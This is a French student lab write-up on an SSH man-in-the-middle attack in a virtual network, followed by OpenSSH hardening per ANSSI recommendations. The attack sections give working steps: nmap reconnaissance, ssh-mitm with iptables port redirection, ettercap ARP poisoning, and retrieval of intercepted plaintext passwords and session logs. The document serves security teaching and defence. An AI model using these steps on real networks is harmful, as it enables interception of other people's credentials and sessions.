🔐

Attaque MITM SSH & Contre-mesures

ARP Spoofing · SSH-MITM · Durcissement OpenSSH · Recommandations ANSSI

📚 Matière

Cyber-Sécurité

📅 Date

19 février 2026

☑️ État

Terminé

🖥️ Outils

Kali Linuxettercapssh-mitmWiresharknmap

🌐 Réseau

192.168.56.0/24

💡

Contexte : ce TP simule une attaque Man-in-the-Middle sur un service SSH via ARP Spoofing, puis met en place les contre-mesures recommandées par l'ANSSI pour durcir OpenSSH.

📋 Table des matières

§1Prérequis — Vérification du réseau (ping) §2Vérification du service OpenSSH §3Première connexion SSH depuis le client §4Reconnaissance — nmap §5Analyse ARP initiale §6Installation de ssh-mitm sur Kali §7Lancement de l'attaque ARP Spoofing (ettercap) §8Capture de trames — Wireshark §9Exploitation — Capture des identifiants §10Arrêt de l'attaque & analyse des logs §11Contre-mesure — Réinitialisation du client §12Partie 3 — Durcissement OpenSSH (ANSSI) §13Durcissement des algorithmes de chiffrement ✅Vérification finale

§1

🖥️ Prérequis — Vérification du réseau

Tests de connectivité entre les machines virtuelles

⚠️

Ne pas faire apt update sur Kali avant cette étape.

Kali Tests de ping entre les machines

bash — Kali Linux

# Ping vers le serveur SSH
ping 192.168.56.10

# Ping vers le client SSH
ping 192.168.56.11

# Ping vers le routeur
ping 192.168.56.254

🖼️tests_ping.pngRemplacer par : <img src="Image/tp_mitm_ssh/tests_ping.png">

✅

Résultat : réponses ICMP reçues, aucune perte de paquets. Ouvrir Chrome sur Kali pour valider l'accès Internet via le routeur.

§2

🔧 Vérification du service OpenSSH

Sur le serveur srvssh — statut, port, clés, configuration

srvssh Vérifier que le service SSH est installé et démarré

bash — Serveur (srvssh)

# Vérifier le statut du service SSH
etusio@srvssh:~$ systemctl status ssh

🖼️srvssh.png — systemctl status sshRemplacer par : <img src="Image/tp_mitm_ssh/srvssh.png">

systemctl status sshPermet de vérifier : l'installation du paquet, l'état (active/running), et l'écoute sur le port 22.

srvssh Vérifier les clés SSH et le fichier de configuration

bash — Serveur (srvssh)

# Lister les fichiers du répertoire SSH avec leurs permissions
etusio@srvssh:~$ cd /etc/ssh
etusio@srvssh:/etc/ssh$ ls -l

🖼️ls_ssh.png — ls -l /etc/ssh/Remplacer par : <img src="Image/tp_mitm_ssh/ls_ssh.png">

ssh_host_*_keyClés privées — permissions 600 (root uniquement).
ssh_host_*_key.pubClés publiques — permissions 644 (lisibles par tous).
sshd_configFichier de configuration principal du serveur SSH.

§3

🔗 Première connexion SSH depuis le client

Validation du fonctionnement SSH — fichier known_hosts

clissh Connexion SSH et gestion de known_hosts

bash — Client (clissh)

# Connexion SSH vers le serveur
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr

# À la première connexion :
# The authenticity of host 'srvssh.local.sio.fr' can't be established.
# ECDSA key fingerprint is SHA256:...
# Are you sure you want to continue connecting (yes/no)? yes
# Warning: Permanently added '...' to the list of known hosts.

# Vérifier la présence de la clé dans known_hosts
etusio@clissh:~$ ssh-keygen -F srvssh.local.sio.fr

# Vider le fichier known_hosts pour les tests suivants
etusio@clissh:~$ echo > ~/.ssh/known_hosts

clissh.png — Première connexion SSH depuis le client

yesAccepte la clé — enregistrée dans ~/.ssh/known_hosts. Les connexions suivantes n'afficheront plus cet avertissement.
ssh-keygen -FVérifie si une clé est déjà enregistrée pour ce serveur dans known_hosts.
echo > known_hostsVide le fichier — le client considérera la prochaine connexion comme une première connexion.

§4

🔍 Reconnaissance — nmap

Découverte des hôtes actifs et des services exposés

Kali Scan des hôtes actifs sur le réseau

bash — Kali Linux

# Ping scan — découverte des hôtes actifs
etusio@kali:~$ nmap -sP 192.168.56.0/24

🖼️nmap1_kali.png — Scan des hôtes actifsRemplacer par : <img src="Image/tp_mitm_ssh/nmap1_kali.png">

-sPPing scan — liste les hôtes qui répondent. Rapide pour cartographier les machines actives.

Kali Scan détaillé des services et versions

bash — Kali Linux

# Scan des services sur le serveur SSH
etusio@kali:~$ nmap -sV 192.168.56.10

# Scan des services sur le client SSH
etusio@kali:~$ nmap -sV 192.168.56.11

# Scan des services sur le routeur
etusio@kali:~$ nmap -sV 192.168.56.254

🖼️nmap2_kali.png — Scan détaillé des servicesRemplacer par : <img src="Image/tp_mitm_ssh/nmap2_kali.png">

-sVVersion scan — identifie les services, versions (ex : OpenSSH 7.9p1) et OS estimé.

📌

Le scan révèle le port 22/TCP ouvert sur le serveur avec la version d'OpenSSH — information clé pour préparer l'attaque MITM.

§5

📋 Analyse ARP initiale

État des caches ARP avant l'attaque — référence à conserver

clissh + srvssh Relever les associations IP ↔ MAC avant l'attaque

bash — Client et Serveur

# Sur le client
etusio@clissh:~$ ip neigh show

# Sur le serveur
etusio@srvssh:~$ ip neigh show

🖼️neigh.png / neigh2.png — Caches ARP avant attaqueRemplacer par : <img src="Image/tp_mitm_ssh/neigh.png">

Associations attendues avant l'attaque :

Machine	IP voisine	→ MAC réelle de	État
Client	`192.168.56.10`	MAC du serveur	REACHABLE / STALE
Client	`192.168.56.254`	MAC du routeur	REACHABLE / STALE
Serveur	`192.168.56.11`	MAC du client	REACHABLE / STALE
Serveur	`192.168.56.254`	MAC du routeur	REACHABLE / STALE

✅

Les caches sont cohérents — chaque IP correspond à la vraie MAC de la machine. Noter ces valeurs pour les comparer après l'attaque.

§6

⚙️ Installation de ssh-mitm sur Kali

Clonage du dépôt, installation et lancement

Kali Cloner le dépôt ssh-mitm depuis GitHub

bash — Kali Linux

# Cloner le dépôt
etusio@kali:~$ git clone https://github.com/ktux/ssh-mitm

🖼️git_clone_kali.png — Clonage du dépôtRemplacer par : <img src="Image/tp_mitm_ssh/git_clone_kali.png">

Kali Installer ssh-mitm

bash — Kali Linux

# Se placer dans le répertoire cloné
etusio@kali:~$ cd ssh-mitm/

# Définir la langue (obligatoire pour éviter l'erreur de locale)
etusio@kali:~/ssh-mitm$ export LANG=en_US.utf-8

# Lancer l'installation — accepter AppArmor : y
etusio@kali:~/ssh-mitm$ sudo ./install.sh

export LANG=en_US.utf-8Sans cette variable, l'installeur renvoie une erreur de locale et refuse de continuer.
AppArmor → yAppArmor restreint les droits de sshd_mitm — recommandé pour sécuriser la machine attaquante.

Kali Lancer le service ssh-mitm

bash — Kali Linux

# Lancer le faux serveur SSH (depuis ~/ssh-mitm)
etusio@kali:~/ssh-mitm$ sudo ./start.sh

🖼️start_sh_kali.png — Lancement de ssh-mitmRemplacer par : <img src="Image/tp_mitm_ssh/start_sh_kali.png">

Le script start.sh effectue automatiquement :

ip_forward = 1sysctl -w net.ipv4.ip_forward=1 — active le routage IP sur Kali. Indispensable pour retransmettre les paquets interceptés vers le vrai serveur.
iptables PREROUTINGiptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222 — redirige tout trafic TCP port 22 entrant vers le port 2222 local.
sshd_mitm port 2222Faux serveur SSH qui intercepte les connexions, journalise les identifiants, puis les relaie au vrai serveur.

Kali Vérifier les services en écoute et les règles iptables

bash — Kali Linux

# Vérifier que ssh-mitm écoute bien sur le port 2222
etusio@kali:~$ ss -ltnp

# Vérifier les règles de filtrage et de NAT iptables
etusio@kali:~$ sudo iptables -L

🖼️ss_ltnp_kali.png — Écoute port 2222Remplacer par : <img src="Image/tp_mitm_ssh/ss_ltnp_kali.png">

🖼️iptables_kali.png — Règles iptables activesRemplacer par : <img src="Image/tp_mitm_ssh/iptables_kali.png">

§7

🗡️ Lancement de l'attaque ARP Spoofing

ettercap · Empoisonnement des caches ARP

⚠️

ssh-mitm doit être démarré avant cette étape. Le faux serveur SSH doit déjà écouter sur le port 2222.

Kali Empoisonner les caches ARP avec ettercap

bash — Kali Linux

# Lancer l'ARP Spoofing entre le serveur et le client
etusio@kali:~/ssh-mitm$ sudo ettercap -i eth0 -T -M arp /192.168.56.10// /192.168.56.11//

-i eth0Interface réseau de Kali (eth0). Les autres VMs utilisent enp0s3.
-TMode texte — sans interface graphique.
-M arpAttaque Man-in-the-Middle par ARP Spoofing.
/192.168.56.10//1ère cible : le serveur SSH — ettercap lui dit que l'IP du client = MAC de Kali.
/192.168.56.11//2ème cible : le client SSH — ettercap lui dit que l'IP du serveur = MAC de Kali.

clissh + srvssh Vérifier les caches ARP après empoisonnement

bash — Client et Serveur

# Sur le client
etusio@clissh:~$ ip neigh show

# Sur le serveur
etusio@srvssh:~$ ip neigh show

🖼️neigh3.png / neigh4.png — ARP empoisonnéRemplacer par : <img src="Image/tp_mitm_ssh/neigh3.png">

🚨

Après l'attaque, les IPs du serveur ET du client pointent toutes deux vers la MAC de Kali. Tout le trafic SSH transite désormais par l'attaquant.

§8

📡 Capture de trames — Wireshark

Analyse du trafic ARP et SSH intercepté

Kali + clissh Lancer Wireshark et analyser les trames

Lancer Wireshark sur Kali (interface eth0) et sur le client (interface enp0s3) — capturer pendant une vingtaine de secondes.

Filtres Wireshark

# Filtre pour les trames ARP (empoisonnement)
arp

# Filtre pour le trafic ICMP (ping via l'attaquant)
icmp

# Filtre pour le trafic SSH intercepté
tcp.port == 22

bash — Client (clissh) — test ping

# Envoyer un ping depuis le client vers le serveur
# Les paquets ICMP doivent transiter par Kali
etusio@clissh:~$ ping 192.168.56.10

🖼️capture_de_trame1_kali.png — Trames ARP sur KaliRemplacer par : <img src="Image/tp_mitm_ssh/capture_de_trame1_kali.png">

🖼️capture_de_trame2_kali.png — Trames ICMP / SSH via KaliRemplacer par : <img src="Image/tp_mitm_ssh/capture_de_trame2_kali.png">

🖼️DebSSHCli2.png — Capture Wireshark côté clientRemplacer par : <img src="Image/tp_mitm_ssh/DebSSHCli2.png">

📌

Les trames ICMP du client vers le serveur transitent bien par Kali. Les fausses réponses ARP d'ettercap sont visibles — preuve que l'attaque MITM fonctionne.

§9

💀 Exploitation — Capture des identifiants

Connexion SSH depuis le client · ssh-mitm intercepte tout

clissh Se connecter au serveur SSH (victime)

Sur le client, initier une connexion SSH. Elle passe par Kali via ssh-mitm.

bash — Client (clissh)

# Connexion SSH — passe en réalité par Kali
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr

# Avertissement clé inconnue → taper : yes
# Saisir le mot de passe quand demandé

# Une fois connecté, exécuter des commandes sur le serveur
etusio@srvssh:~$ sudo cat /etc/shadow
etusio@srvssh:~$ sudo iptables -L

🖼️clissh.png — Connexion SSH interceptéeRemplacer par : <img src="Image/tp_mitm_ssh/clissh.png">

🖼️iptables2.png — iptables -L sur le serveurRemplacer par : <img src="Image/tp_mitm_ssh/iptables2.png">

📌

L'alerte "The authenticity of host can't be established" indique que ssh-mitm présente sa propre clé à la place du vrai serveur. C'est le signal d'alarme que les utilisateurs ignorent souvent.

§10

📋 Arrêt de l'attaque & analyse des logs

Récupération des identifiants capturés

Kali Arrêter ettercap puis ssh-mitm

bash — Kali Linux

# Arrêter ettercap : appuyer sur Q dans le terminal

# Arrêter le service ssh-mitm
etusio@kali:~/ssh-mitm$ sudo ./stop.sh

🖼️stop_kali.png — Arrêt de ssh-mitmRemplacer par : <img src="Image/tp_mitm_ssh/stop_kali.png">

Kali Récupérer les identifiants dans auth.log

bash — Kali Linux

# Chercher la ligne contenant le mot de passe intercepté
etusio@kali:~$ sudo grep -i password /var/log/auth.log

🖼️grep_kali.png — INTERCEPTED PASSWORD dans auth.logRemplacer par : <img src="Image/tp_mitm_ssh/grep_kali.png">

🚨

La ligne INTERCEPTED PASSWORD contient : l'IP du serveur ciblé, le login (etusio) et le mot de passe saisi en clair.

Kali Consulter la session SSH complète enregistrée

bash — Kali Linux

# Afficher la totalité de la session SSH interceptée
etusio@kali:~$ sudo cat /home/ssh-mitm/shell_session_0.txt

🖼️cat.png — Contenu de shell_session_0.txtRemplacer par : <img src="Image/tp_mitm_ssh/cat.png">

🚨

Ce fichier contient : toutes les commandes tapées, les réponses du serveur, les tentatives sudo, et le contenu des fichiers consultés (ex : /etc/shadow).

§11

🔄 Contre-mesure — Réinitialisation du client

Vider le cache ARP et nettoyer known_hosts

clissh Flush ARP, nettoyage known_hosts et reconnexion

bash — Client (clissh)

# Vider le cache ARP (force la redécouverte des vraies MAC)
etusio@clissh:~$ sudo ip neigh flush all

# Supprimer l'ancienne clé SSH du faux serveur dans known_hosts
etusio@clissh:~$ ssh-keygen -f "/home/etusio/.ssh/known_hosts" -R "srvssh.local.sio.fr"

# Ou vider manuellement le fichier known_hosts
etusio@clissh:~$ echo > ~/.ssh/known_hosts

# Se reconnecter — la vraie clé du serveur sera présentée
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr

🖼️ssh3.png — Alerte REMOTE HOST IDENTIFICATION HAS CHANGEDRemplacer par : <img src="Image/tp_mitm_ssh/ssh3.png">

🖼️ssh.png — Reconnexion au vrai serveur après nettoyageRemplacer par : <img src="Image/tp_mitm_ssh/ssh.png">

🖼️neigh5.png — Cache ARP après flushRemplacer par : <img src="Image/tp_mitm_ssh/neigh5.png">

ip neigh flush allVide le cache ARP — les prochaines communications redécouvriront les vraies adresses MAC.
ssh-keygen -f ... -RSupprime l'entrée du serveur dans known_hosts. Sans ça, SSH refuse la connexion car la clé enregistrée (celle de Kali) diffère de la vraie.

⚠️

L'alerte "REMOTE HOST IDENTIFICATION HAS CHANGED" apparaît si on se connecte sans avoir nettoyé known_hosts — c'est le mécanisme de protection SSH contre les attaques MITM.

§12

🛡️ Partie 3 — Durcissement OpenSSH (ANSSI)

Mise en œuvre des bonnes pratiques · /etc/ssh/sshd_config

📌

Toutes les modifications suivantes sont à effectuer sur le serveur SSH (srvssh) dans /etc/ssh/sshd_config, puis validées avec sudo systemctl restart sshd.

srvssh Ouvrir sshd_config

bash — Serveur (srvssh)

etusio@srvssh:~$ sudoedit /etc/ssh/sshd_config

sshd_config 10 directives ANSSI à appliquer

Directive (valeur)	Objectif
chmod 600 ssh_host_*_key	Clés privées accessibles en lecture/écriture uniquement par root.
`Protocol 2`	Forcer SSH version 2. La version 1 est vulnérable.
`Port 222`	Changer le port d'écoute de 22 vers 222/TCP.
`StrictModes yes`	SSH vérifie strictement les permissions des fichiers.
`PermitRootLogin no`	Interdire toute connexion SSH directe avec root.
`UsePrivilegeSeparation sandbox`	Séparation des privilèges avec bac à sable.
`PermitEmptyPasswords no`	Interdire la connexion pour les comptes sans mot de passe.
`MaxAuthTries 3`	Limiter à 3 tentatives d'authentification par connexion.
`PrintLastLog yes`	Afficher les informations de dernière connexion.
`AllowUsers etusio`	Autoriser uniquement l'utilisateur etusio à se connecter.

sshd_config — extrait des directives ANSSI

# Protocole SSH version 2 uniquement
Protocol 2

# Port d'écoute
Port 222

# Vérification stricte des permissions des fichiers
StrictModes yes

# Interdire la connexion root
PermitRootLogin no

# Séparation des privilèges avec sandbox
UsePrivilegeSeparation sandbox

# Interdire les comptes sans mot de passe
PermitEmptyPasswords no

# Nombre maximum de tentatives d'authentification
MaxAuthTries 3

# Afficher les informations de dernière connexion
PrintLastLog yes

# Restreindre l'accès à un seul utilisateur
AllowUsers etusio

srvssh Corriger les permissions des clés privées

bash — Serveur (srvssh)

# Vérifier les permissions actuelles
etusio@srvssh:~$ ls -l /etc/ssh/

# Appliquer les permissions correctes sur les clés privées
etusio@srvssh:~$ sudo chmod 600 /etc/ssh/ssh_host_rsa_key
etusio@srvssh:~$ sudo chmod 600 /etc/ssh/ssh_host_ecdsa_key
etusio@srvssh:~$ sudo chmod 600 /etc/ssh/ssh_host_ed25519_key

600 (clé privée)Lecture et écriture pour root uniquement — aucun autre utilisateur ne peut lire la clé.
644 (clé publique .pub)Lecture pour tous, écriture root uniquement.

srvssh Redémarrer et vérifier le service SSH

bash — Serveur (srvssh)

# Redémarrer le service SSH
etusio@srvssh:~$ sudo systemctl restart sshd

# Vérifier que le service a bien redémarré
etusio@srvssh:~$ sudo systemctl status sshd

🖼️shh.png — systemctl status sshd après durcissementRemplacer par : <img src="Image/tp_mitm_ssh/shh.png">

⚠️

Après le changement vers le port 222, toutes les connexions SSH depuis le client devront préciser le port : ssh -p 222 etusio@srvssh.local.sio.fr

§13

🔒 Durcissement des algorithmes de chiffrement

État de l'art · KexAlgorithms · Ciphers · MACs

📌

État de l'art : ensemble des meilleures pratiques et algorithmes reconnus par les organismes de sécurité (ANSSI, Mozilla). Les algorithmes dépréciés doivent être explicitement désactivés.

🔑

Principe de Kerckhoffs : la sécurité repose uniquement sur le secret de la clé, pas sur le secret de l'algorithme. Des algorithmes publics, largement étudiés et sans attaque connue sont plus sûrs que la "sécurité par l'obscurité".

srvssh Ajouter les algorithmes recommandés dans sshd_config

Ajouter ces lignes dans /etc/ssh/sshd_config :

sshd_config — Algorithmes ANSSI / Mozilla

# Algorithmes d'échange de clés (Key Exchange)
KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256

# Algorithmes de chiffrement symétrique
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr

# Codes d'authentification de message (MAC)
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com

KexAlgorithmsÉchange de clés. curve25519 et ecdh sont robustes. diffie-hellman-group1 est exclu (vulnérable).
CiphersChiffrement du flux. chacha20-poly1305 et aes-gcm en mode AEAD (authentification intégrée). CBC et RC4 exclus.
MACsIntégrité des messages. Suffixe -etm (Encrypt-then-MAC) recommandé contre les attaques de padding oracle.

srvssh Appliquer les changements

bash — Serveur (srvssh)

etusio@srvssh:~$ sudo systemctl restart sshd

✅

Vérification finale

Tester la connexion et valider la configuration

clissh Connexion SSH sur le port 222

bash — Client (clissh)

# Connexion sur le nouveau port 222
etusio@clissh:~$ ssh -p 222 etusio@srvssh.local.sio.fr

🖼️debSSHCli.png — Connexion SSH port 222 réussieRemplacer par : <img src="Image/tp_mitm_ssh/debSSHCli.png">

srvssh Vérifier la configuration effective de sshd

bash — Serveur (srvssh)

# Vérifier les directives et algorithmes actifs
etusio@srvssh:~$ sudo sshd -T | grep -E "kexalgorithms|ciphers|macs|port|permitrootlogin|allowusers|maxauthtries"

# Vérifier le statut final du service
etusio@srvssh:~$ sudo systemctl status sshd

sshd -TAffiche la configuration effective après parsing — vérifie que toutes les directives sont bien prises en compte.

🎯

Workflow complet du TP :
1. Tests ping entre les 3 VMs + vérification Internet
2. Vérification du service SSH : systemctl status ssh + ls -l /etc/ssh/
3. Première connexion SSH depuis le client — gestion de known_hosts
4. Reconnaissance réseau : nmap -sP puis nmap -sV
5. Relevé des caches ARP initiaux : ip neigh show
6. Installation ssh-mitm : git clone + install.sh + start.sh
7. Vérification : ss -ltnp (port 2222) + iptables -L
8. ARP Spoofing avec ettercap — vérifier les caches ARP empoisonnés
9. Capture Wireshark (filtre arp, icmp, tcp.port==22)
10. Connexion SSH depuis le client → credentials capturés
11. Arrêt : stop.sh → grep auth.log → cat shell_session_0.txt
12. Réinitialisation client : flush ARP + nettoyer known_hosts
13. Appliquer les 10 directives ANSSI dans sshd_config
14. Durcir les algorithmes (KexAlgorithms, Ciphers, MACs)
15. Redémarrer sshd et vérifier avec sshd -T

BTS SIO SISR · 2SIO ALT — Cyber-Sécurité · TP Attaque MITM SSH & Contre-mesures · Mr Lebatteur